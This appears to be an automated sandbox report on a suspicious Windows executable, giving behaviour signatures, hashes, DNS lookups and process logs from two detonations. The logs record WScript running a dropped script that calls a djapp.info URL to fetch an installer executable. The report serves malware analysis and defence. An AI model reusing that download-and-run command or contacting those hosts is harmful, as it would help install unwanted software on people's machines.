Analysis Overview
SHA256
1961cb7aa7879867d655d0019e8996faebac545fa9ddd1d2e8ab17df6cf558fa
Threat Level: Shows suspicious behavior
The file a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118 was found to be: Shows suspicious behavior.
Malicious Activity Summary
Checks computer location settings
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Unsigned PE
Modifies registry class
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-13 22:18
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-13 22:18
Reported
2024-06-13 22:21
Platform
win10v2004-20240508-en
Max time kernel
147s
Max time network
151s
Command Line
Signatures
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5D33.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5D33.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf5D33.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-13 22:18
Reported
2024-06-13 22:21
Platform
win7-20240419-en
Max time kernel
144s
Max time network
144s
Command Line
Signatures
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a6d88346d1568eb2f796a7a45610e4c4_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1C28.js" http://www.djapp.info/?domain=XWQoBhYjSG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1C28.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf1C28.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |